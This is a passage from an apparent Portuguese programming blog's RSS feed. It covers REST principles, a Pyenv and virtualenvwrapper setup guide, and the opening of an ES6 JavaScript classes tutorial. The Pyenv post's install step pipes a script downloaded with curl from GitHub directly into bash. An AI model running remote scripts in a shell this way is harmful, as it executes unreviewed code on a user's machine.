&lt;p&gt;Uma terceira modalidade de entrega poderia ser em &lt;em&gt;XML&lt;/em&gt;, ou em qualquer formato
que tanto cliente quanto fornecedor entendam. Esse &quot;acordo&quot; entre as partes é realizado
através do cabeçalho de requisição &lt;code class=&quot;language-text&quot;&gt;Accept&lt;/code&gt;, e pelo cabeçalho de resposta &lt;code class=&quot;language-text&quot;&gt;content-type&lt;/code&gt;:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;$ curl -v -H &quot;Accept: application/json&quot; http://localhost:8000/movies/DED621D5-08F4-4D32-ADFA-84375BA415B9/

GET /movies/DED621D5-08F4-4D32-ADFA-84375BA415B9/ HTTP/1.1
Host: localhost:8000
User-Agent: curl/7.43.0
Accept: application/json

HTTP/1.0 200 OK
Date: Fri, 13 May 2016 02:41:07 GMT
Server: WSGIServer/0.2 CPython/3.4.4
content-length: 221
content-type: application/json&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Com isso, permitimos que tanto cliente quanto fornecedor conversem livremente,
desde que em um mesmo dialeto. Embora não haja um padrão formal, é comum vermos
&lt;em&gt;APIs&lt;/em&gt; dando suporte a renderizações em &lt;em&gt;JSON&lt;/em&gt; e &lt;em&gt;XML&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;Isso pode parecer até um exagero, e uma complexidade questionável na sua aplicação.
A boa notícia é que a maioria das bibliotecas &lt;em&gt;REST&lt;/em&gt; dão suporte &lt;em&gt;built-in&lt;/em&gt; a essa
funcionalidade.&lt;/p&gt;
&lt;h2&gt;Stateless&lt;/h2&gt;
&lt;p&gt;Uma das premissas do &lt;em&gt;REST&lt;/em&gt; é a comunicação sem estados. Isso significa que,
assim como o próprio &lt;a href=&quot;/2012/04/05/entendendo-os-cookies-e-sessoes.html&quot; title=&quot;Leia mais sobre stateless, Cookies e Sessions&quot;&gt;protocolo &lt;em&gt;HTTP&lt;/em&gt;&lt;/a&gt;,
não &quot;conserva-se informações&quot; entre as requisições.&lt;/p&gt;
&lt;p&gt;Na prática, isso significa que cliente pode enviar múltiplas requisições
para o servidor, no entanto, cada uma delas deve ser independente. Cada uma
deve possuir toda a informação necessária para que o servidor possa interpretá-las
completamente (e separadamente).&lt;/p&gt;
&lt;p&gt;Isso facilita o &lt;a href=&quot;/2012/05/14/o-cache-e-o-http.html&quot; title=&quot;O Cache e o HTTP&quot;&gt;&lt;em&gt;caching&lt;/em&gt;&lt;/a&gt; e
escalabilidade da sua solução.&lt;/p&gt;
&lt;p&gt;Caso estados precisem ser armazenados, é uma responsabilidade do cliente fazê-los.&lt;/p&gt;
&lt;h2&gt;Considerações finais&lt;/h2&gt;
&lt;p&gt;Chegamos ao fim desse artigo, e uma pergunta fica: Mas o que é &lt;em&gt;RESTful&lt;/em&gt;?&lt;/p&gt;
&lt;p&gt;Uma &lt;em&gt;API RESTful&lt;/em&gt; na verdade é uma &lt;em&gt;API&lt;/em&gt; que segue os princípios do &lt;em&gt;REST&lt;/em&gt; de
forma mais &quot;fiel&quot;. Enquadrando-se plenamente nas seguintes regras:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Cliente/servidor&lt;/li&gt;
&lt;li&gt;&lt;em&gt;Stateless&lt;/em&gt;&lt;/li&gt;
&lt;li&gt;Cacheável&lt;/li&gt;
&lt;li&gt;Interface uniforme para comunicação entre o cliente e o servidor&lt;/li&gt;
&lt;li&gt;Uso de camadas (facilitando escalabilidade, confiabilidade e segurança)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;No fim das contas, sendo &lt;em&gt;REST&lt;/em&gt; ou &lt;em&gt;RESTful&lt;/em&gt;, utilizar os conceitos
é uma boa forma de criar serviços (de baixo custo) para as suas aplicações,
que podem ser aplicados, por exemplo, dentro de uma arquitetura de microserviços.&lt;/p&gt;
&lt;p&gt;Até a próxima.&lt;/p&gt;
&lt;h2&gt;Referências&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;http://www.hug.rest/website/quickstart&quot;&gt;&lt;em&gt;Hug - Embrace APIs from the future&lt;/em&gt;&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://imasters.expert/rest-architecture-model-definition-constraints-benefits/&quot;&gt;&lt;em&gt;iMasters - REST Architecture Model: Definition, Constraints and Benefits&lt;/em&gt;&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.infoq.com/br/articles/rest-introduction&quot;&gt;&lt;em&gt;InfoQ - REST Introduction&lt;/em&gt;&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/HATEOAS&quot;&gt;&lt;em&gt;Wikipedia - HATEOAS&lt;/em&gt;&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://pt.wikipedia.org/wiki/Hiperm%C3%ADdia&quot;&gt;&lt;em&gt;Wikipedia&lt;/em&gt; - Hipermídia&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://pt.wikipedia.org/wiki/Hipertexto&quot;&gt;&lt;em&gt;Wikipedia&lt;/em&gt; - Hipertexto&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://pt.wikipedia.org/wiki/URI&quot;&gt;&lt;em&gt;Wikipedia - URI&lt;/em&gt;&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content:encoded></item><item><title><![CDATA[O simples e poderoso Pyenv]]></title><description><![CDATA[Num certo dia, eu resolvi deixar a preguiça de lado e atualizar
a versão do Mac OS X para o El Capitan. Na cara e coragem,
e dotado de uma…]]></description><link>https://klauslaube.com.br/2016/04/26/o-simples-e-poderoso-pyenv.html</link><guid isPermaLink="false">https://klauslaube.com.br/2016/04/26/o-simples-e-poderoso-pyenv.html</guid><pubDate>Tue, 26 Apr 2016 09:53:00 GMT</pubDate><content:encoded>&lt;p&gt;Num certo dia, eu resolvi deixar a preguiça de lado e atualizar
a versão do &lt;em&gt;Mac OS X&lt;/em&gt; para o &lt;em&gt;El Capitan&lt;/em&gt;. Na cara e coragem,
e dotado de uma ingenuidade ímpar, simplesmente apertei o botão
&lt;em&gt;Update&lt;/em&gt; e deixei com que os deuses resolvessem qual seria o
destino do meu &lt;em&gt;workspace&lt;/em&gt; após essa fatídica operação.&lt;/p&gt;
&lt;p&gt;Obviamente, &lt;a href=&quot;https://ohthehugemanatee.org/blog/2015/10/01/how-i-got-el-capitain-working-with-my-developer-tools/&quot; title=&quot;Veja o que fazer com se o update do El Capitan quebrar o seu ambiente de desenvolvimento&quot;&gt;algumas ferramentas deixaram de funcionar&lt;/a&gt;,
incluindo a minha instalação &quot;system wide&quot; do &lt;a href=&quot;/tag/pip.html&quot; title=&quot;Leia mais sobre pip&quot;&gt;&lt;em&gt;pip&lt;/em&gt;&lt;/a&gt;
e o meu &lt;a href=&quot;/tag/virtualenvwrapper.html%7D&quot; title=&quot;Leia mais sobre Virtualenv&quot;&gt;&lt;em&gt;virtualenvwrapper&lt;/em&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Após algum tempo &quot;googlando&quot; eu encontrei o &lt;a href=&quot;https://github.com/yyuu/pyenv&quot; title=&quot;Conheça o Pyenv&quot;&gt;&lt;em&gt;Pyenv&lt;/em&gt;&lt;/a&gt;,
e vou compartilhar com você a razão pela qual ele é uma excelente ideia.&lt;/p&gt;
&lt;h2&gt;Múltiplas versões de Python, sem dor de cabeça&lt;/h2&gt;
&lt;p&gt;O &lt;em&gt;Pyenv&lt;/em&gt; é uma ferramenta que te permite selecionar qual a versão
do &lt;a href=&quot;/tag/python.html&quot; title=&quot;Leia mais sobre Python&quot;&gt;&lt;em&gt;Python&lt;/em&gt;&lt;/a&gt; você está utilizando,
de maneira muito fácil e prática.&lt;/p&gt;
&lt;p&gt;Antes de conhecer o &lt;em&gt;Pyenv&lt;/em&gt;, eu geralmente baixava o código fonte e
compilava as versões &quot;adicionais&quot; do &lt;em&gt;Python&lt;/em&gt; (2.6, 3.3, 3.4, etc)
no &lt;code class=&quot;language-text&quot;&gt;/opt/&lt;/code&gt; da minha máquina, utilizando a versão do sistema (2.7.x)
para a maioria dos projetos que desenvolvia. Aí no momento de criação
do meu &lt;code class=&quot;language-text&quot;&gt;virtualenv&lt;/code&gt;, apontava o executável da linguagem para a versão
específica.&lt;/p&gt;
&lt;p&gt;Com essa ferramenta eu deixo uma versão do sistema intacta, e utilizo
de forma completamente isolada a determinada versão do &lt;em&gt;Python&lt;/em&gt; do
qual necessito, com alguns atalhos que me auxiliam na transição de
uma versão para a outra.&lt;/p&gt;
&lt;h2&gt;Instalando&lt;/h2&gt;
&lt;p&gt;Instalar o &lt;em&gt;Pyenv&lt;/em&gt; é tão trivial quanto dar um &lt;code class=&quot;language-text&quot;&gt;pip install&lt;/code&gt;. Por ele não
depender do &lt;em&gt;Python&lt;/em&gt; (e ser em &lt;em&gt;shell&lt;/em&gt; puro) podemos utilizar o seu
&lt;a href=&quot;https://github.com/yyuu/pyenv-installer&quot; title=&quot;Veja no Github&quot;&gt;instalador de linha de comando&lt;/a&gt;:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;$ curl -L https://raw.githubusercontent.com/yyuu/pyenv-installer/master/bin/pyenv-installer | bash
$ pyenv update&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Com o comando &lt;code class=&quot;language-text&quot;&gt;pyenv install -l&lt;/code&gt; somos apresentados a uma lista de possíveis versões
a serem instaladas através do utilitário (indo de &lt;em&gt;Python 2.1&lt;/em&gt; até &lt;em&gt;PyPy&lt;/em&gt;).&lt;/p&gt;
&lt;p&gt;Suponha que você queira instalar a versão 3.5.1 da linguagem:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;$ pyenv install 3.5.1&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Genial, não?&lt;/p&gt;
&lt;h2&gt;Transitando entre versões&lt;/h2&gt;
&lt;p&gt;Para utilizar a versão instalada no terminal que está aberto, usamos o parâmetro &lt;code class=&quot;language-text&quot;&gt;shell&lt;/code&gt;:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;$ pyenv shell 3.5.1
$ python -V
Python 3.5.1&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Talvez seja necessário executar o comando &lt;code class=&quot;language-text&quot;&gt;pyenv rehash&lt;/code&gt;, caso você não esteja
obtendo o resultado esperado.&lt;/p&gt;
&lt;p&gt;Com o comando &lt;code class=&quot;language-text&quot;&gt;versions&lt;/code&gt; obtemos as versões disponíveis no computador:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;$ pyenv versions
system
* 3.5.1 (set by PYENV_VERSION environment variable)&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;O asterisco indica a versão em uso atualmente.&lt;/p&gt;
&lt;p&gt;Com o comando &lt;code class=&quot;language-text&quot;&gt;local&lt;/code&gt;, setamos uma determinada versão do &lt;em&gt;Python&lt;/em&gt; para um
determinado &lt;em&gt;path&lt;/em&gt;. Exemplo:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;$ cd ~/Workspace/blog
$ pyenv local 3.5.1
$ pyenv version
3.5.1 (set by /Users/klaus/Workspace/blog/.python-version)&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;O &lt;em&gt;Pyenv&lt;/em&gt; criará um arquivo &lt;code class=&quot;language-text&quot;&gt;.python-version&lt;/code&gt; no diretório, e
todo o momento que você acessá-lo trocará a versão corrente do
interpretador, automaticamente.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot; style=&quot;&quot;&gt;
    &lt;span
      class=&quot;gatsby-resp-image-wrapper&quot;
      style=&quot;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 610px; &quot;
    &gt;
      &lt;a
    class=&quot;gatsby-resp-image-link&quot;
    href=&quot;/static/bb8b2bc62fb619c6c39a441e15387da6/073a0/sparrow.jpg&quot;
    style=&quot;display: block&quot;
    target=&quot;_blank&quot;
    rel=&quot;noopener&quot;
  &gt;
    &lt;span
    class=&quot;gatsby-resp-image-background-image&quot;
    style=&quot;padding-bottom: 47.91666666666667%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/jpeg;base64,/9j/2wBDABALDA4MChAODQ4SERATGCgaGBYWGDEjJR0oOjM9PDkzODdASFxOQERXRTc4UG1RV19iZ2hnPk1xeXBkeFxlZ2P/2wBDARESEhgVGC8aGi9jQjhCY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2P/wgARCAAKABQDASIAAhEBAxEB/8QAFwAAAwEAAAAAAAAAAAAAAAAAAAUGA//EABUBAQEAAAAAAAAAAAAAAAAAAAIB/9oADAMBAAIQAxAAAAFc3nKA3QViH//EABwQAAEDBQAAAAAAAAAAAAAAAAMBBBIAAgUxNP/aAAgBAQABBQIdyTbnkIp2001j6fdX/8QAFBEBAAAAAAAAAAAAAAAAAAAAEP/aAAgBAwEBPwE//8QAFREBAQAAAAAAAAAAAAAAAAAAEDH/2gAIAQIBAT8Bh//EAB4QAAIBAwUAAAAAAAAAAAAAAAABEQIQEiEyYXGh/9oACAEBAAY/AnIs3tfhqsuYs+kVH//EAB4QAQABAgcAAAAAAAAAAAAAAAEAEEEhMVFxgaGx/9oACAEBAAE/IRKncYRbirazuKzbQqmYePyf/9oADAMBAAIAAwAAABDA3//EABYRAQEBAAAAAAAAAAAAAAAAAAEREP/aAAgBAwEBPxBaTP/EABURAQEAAAAAAAAAAAAAAAAAABEQ/9oACAECAQE/EBM//8QAHhABAAMAAQUBAAAAAAAAAAAAAQARITFRYXHB0fD/2gAIAQEAAT8QF7BVCZ13mKgcG4DWdwRs4pdA/YC7W0+plr+BiaDWcfCf/9k=&apos;); background-size: cover; display: block;&quot;
  &gt;&lt;/span&gt;
  &lt;img
        class=&quot;gatsby-resp-image-image&quot;
        alt=&quot;&amp;quot;Minha cara após o update do El Capitan (thewrap.com)&amp;quot;&quot;
        title=&quot;Minha cara após o update do El Capitan (thewrap.com)&quot;
        src=&quot;/static/bb8b2bc62fb619c6c39a441e15387da6/073a0/sparrow.jpg&quot;
        srcset=&quot;/static/bb8b2bc62fb619c6c39a441e15387da6/7809d/sparrow.jpg 192w,
/static/bb8b2bc62fb619c6c39a441e15387da6/4ecad/sparrow.jpg 384w,
/static/bb8b2bc62fb619c6c39a441e15387da6/073a0/sparrow.jpg 610w&quot;
        sizes=&quot;(max-width: 610px) 100vw, 610px&quot;
        style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&quot;
        loading=&quot;lazy&quot;
      /&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Minha cara após o update do El Capitan (thewrap.com)&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;Um &lt;em&gt;workaround&lt;/em&gt; para fazer o meu ambiente de trabalho funcionar,
no &lt;em&gt;El Capitan&lt;/em&gt;, foi baixar uma versão 2.7.x do &lt;em&gt;Python&lt;/em&gt; e torná-la
&lt;code class=&quot;language-text&quot;&gt;global&lt;/code&gt;. Exemplo:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;$ pyenv install 2.7.10
$ pyenv rehash
$ pyenv global 2.7.10
system
* 2.7.10 (set by /usr/local/opt/pyenv/version)
3.5.1&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Com isso, o comando &lt;code class=&quot;language-text&quot;&gt;pip&lt;/code&gt; voltou a funcionar &quot;system wide&quot;, bem como
as minhas integrações do &lt;code class=&quot;language-text&quot;&gt;zsh&lt;/code&gt; com o &lt;code class=&quot;language-text&quot;&gt;virtualenvwrapper&lt;/code&gt;.&lt;/p&gt;
&lt;h2&gt;Bônus: virtualenvwrapper&lt;/h2&gt;
&lt;p&gt;E assim a minha vida continuou pacata e serena... até o momento que eu
tiver que criar um &lt;code class=&quot;language-text&quot;&gt;virtualenv&lt;/code&gt; para uma versão diferente da minha
versão &lt;code class=&quot;language-text&quot;&gt;global&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;O &lt;em&gt;Pyenv&lt;/em&gt; com &lt;em&gt;virtualenvwrapper&lt;/em&gt; não se entendem muito bem.
Para facilitar a nossa vida, temos o &lt;a href=&quot;https://github.com/yyuu/pyenv-virtualenvwrapper&quot; title=&quot;Veja o repositório no GitHub&quot;&gt;&lt;em&gt;pyenv-virtualenvwrapper&lt;/em&gt;&lt;/a&gt;:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;$ pip install virtualenvwrapper
$ brew install pyenv-virtualenvwrapper&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;É necessário ativá-lo em seu &lt;em&gt;shell&lt;/em&gt;:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;$ pyenv virtualenvwrapper&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;E agora sim, criar o seu ambiente virtual:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;$ pyenv shell 3.5.1
$ mkvirtualenv test
Using base prefix &apos;/usr/local/opt/pyenv/versions/3.5.1&apos;
New python executable in /Users/klaus/.virtualenvs/test/bin/python3.5
Also creating executable in /Users/klaus/.virtualenvs/test/bin/python
Installing setuptools, pip, wheel...done.
virtualenvwrapper.user_scripts creating /Users/klaus/.virtualenvs/test/bin/predeactivate
virtualenvwrapper.user_scripts creating /Users/klaus/.virtualenvs/test/bin/postdeactivate
virtualenvwrapper.user_scripts creating /Users/klaus/.virtualenvs/test/bin/preactivate
virtualenvwrapper.user_scripts creating /Users/klaus/.virtualenvs/test/bin/postactivate
virtualenvwrapper.user_scripts creating /Users/klaus/.virtualenvs/test/bin/get_env_details&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;E &quot;esquecer&quot; do comando &lt;code class=&quot;language-text&quot;&gt;pyenv&lt;/code&gt; a partir do momento que você tem os seus &lt;em&gt;virtualenvs&lt;/em&gt; criados:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;$ workon meu_projeto_em_py_27
$ python -V
Python 2.7.10

$ workon test
$ python -V
Python 3.5.1&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h2&gt;Considerações finais&lt;/h2&gt;
&lt;p&gt;O &lt;em&gt;Pyenv&lt;/em&gt; é, assim como o &lt;em&gt;virtualenv&lt;/em&gt;, aquele tipo de ferramenta que te mantém são e salvo
quando a sua necessidade é trabalhar com versões completamente diferentes do &lt;em&gt;Python&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;Infelizmente, o seu uso com o &lt;em&gt;virtualenvwrapper&lt;/em&gt; não é lá tão &lt;em&gt;smooth&lt;/em&gt; (mas está longe de
ser complicado). Para facilitar a vida, talvez adicionar o comando &lt;code class=&quot;language-text&quot;&gt;pyenv virtualenvwrapper&lt;/code&gt;
ao seu &lt;code class=&quot;language-text&quot;&gt;.bash_profile&lt;/code&gt; ou &lt;code class=&quot;language-text&quot;&gt;.zshrc&lt;/code&gt; seja uma dica interessante.&lt;/p&gt;
&lt;p&gt;Ou ainda, você pode utilizar o &lt;em&gt;virtualenvwrapper&lt;/em&gt; para os
projetos &lt;em&gt;Python&lt;/em&gt; 2.7.x, e o &lt;a href=&quot;https://docs.python.org/3/library/venv.html&quot; title=&quot;Creation of virtual environments in Python 3&quot;&gt;&lt;em&gt;pyvenv&lt;/em&gt;&lt;/a&gt;
para projetos &gt; 3.2.&lt;/p&gt;
&lt;p&gt;Até a próxima.&lt;/p&gt;
&lt;h2&gt;Referências&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/yyuu/pyenv&quot;&gt;&lt;em&gt;Pyenv - Simple Python version management&lt;/em&gt;&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/yyuu/pyenv-virtualenvwrapper&quot;&gt;&lt;em&gt;Pyenv-virtualenvwrapper - An alternative approach to manage virtualenvs from pyenv&lt;/em&gt;&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://blog.shichao.io/2014/10/01/setup_virtualenvwrapper_with_pyenv_using_pyenv_virtualenvwrapper.html&quot;&gt;&lt;em&gt;Schichao&apos;s Blog - Setting up virtualenvwrapper with pyenv using pyenv-virtualenvwrapper&lt;/em&gt;&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://taoofmac.com/space/blog/2015/10/03/1245&quot;&gt;&lt;em&gt;The Tao of Mac - Using Pyenv with El Capitan&lt;/em&gt;&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content:encoded></item><item><title><![CDATA[Fazendo Javascript OO de forma fácil - Parte 2]]></title><description><![CDATA[Há cerca de 5 anos, fiz um post sobre como escrever
Javascript OO de forma fácil
utilizando a orientação a objetos da linguagem através de…]]></description><link>https://klauslaube.com.br/2016/03/15/fazendo-javascript-oo-de-forma-facil-parte-2.html</link><guid isPermaLink="false">https://klauslaube.com.br/2016/03/15/fazendo-javascript-oo-de-forma-facil-parte-2.html</guid><pubDate>Tue, 15 Mar 2016 12:20:00 GMT</pubDate><content:encoded>&lt;p&gt;Há cerca de 5 anos, fiz um &lt;em&gt;post&lt;/em&gt; sobre como escrever
&lt;a href=&quot;/2011/05/16/fazendo-javascript-oo-de-forma-facil.html&quot; title=&quot;Leia o artigo completo&quot;&gt;Javascript OO de forma fácil&lt;/a&gt;
utilizando a orientação a objetos da linguagem através de
&lt;a href=&quot;/2011/10/23/javascript-constructor-function-object-literal.html&quot; title=&quot;Diferença entre Constructor Function e Object Literal&quot;&gt;&lt;em&gt;Constructor Functions&lt;/em&gt; e &lt;em&gt;Object Literal&lt;/em&gt;&lt;/a&gt;.
Hoje, com o &lt;em&gt;ES6&lt;/em&gt;, o esquema de &lt;em&gt;Prototype&lt;/em&gt; ainda continua,
mas a sintaxe ficou muito mais fácil e intuitiva, valendo a pena dar um &lt;em&gt;revival&lt;/em&gt;
no tema para explorar um pouquinho mais das novas funcionalidades.&lt;/p&gt;
&lt;p&gt;Então, nobre leitor, prepare o seu &lt;a href=&quot;https://babeljs.io/&quot; title=&quot;Javascript compiler&quot;&gt;&lt;em&gt;Babel&lt;/em&gt;&lt;/a&gt; e vamos escrever algumas classes
na nova sintaxe do &lt;a href=&quot;/tag/javascript.html&quot; title=&quot;Leia mais sobre Javascript&quot;&gt;&lt;em&gt;Javascript&lt;/em&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;Açúcares sintáticos&lt;/h2&gt;
&lt;p&gt;Sim! A sintaxe apresentada no &lt;em&gt;ECMAScript 6&lt;/em&gt; não passa de açúcar sintático!&lt;/p&gt;
&lt;p&gt;Na prática, o &lt;em&gt;Javascript&lt;/em&gt; continua utilizando a orientação a objetos através de
&lt;em&gt;Prototype&lt;/em&gt;. Mas isso não diminui em nada o valor desse &lt;em&gt;approach&lt;/em&gt; para com a
linguagem. Fazer &lt;em&gt;Javascript&lt;/em&gt; OOP é a realidade de muitas aplicações
(complexas ou não), e caso você queira escrever componentes utilizando &lt;em&gt;React&lt;/em&gt;,
verá que a dupla &lt;em&gt;ES6&lt;/em&gt; + &lt;em&gt;React&lt;/em&gt; é capaz de produzir componentes com código
extremamente legível e elegante.&lt;/p&gt;
&lt;p&gt;Vamos começar escrevendo nossa classe &lt;code class=&quot;language-text&quot;&gt;Pessoa&lt;/code&gt;:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;javascript&quot;&gt;&lt;pre class=&quot;language-javascript&quot;&gt;&lt;code class=&quot;language-javascript&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;class&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;Pessoa&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;token function&quot;&gt;constructor&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token parameter&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; nome&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; idade &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;this&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;nome &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; nome&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;this&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;idade &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; idade&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;

  &lt;span class=&quot;token function&quot;&gt;sayTheName&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
    console&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;log&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;this&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;nome&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;let&lt;/span&gt; pessoa &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;Pessoa&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; idade&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;18&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; nome&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;Guido&quot;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
pessoa&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;sayTheName&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;// Guido&lt;/span&gt;
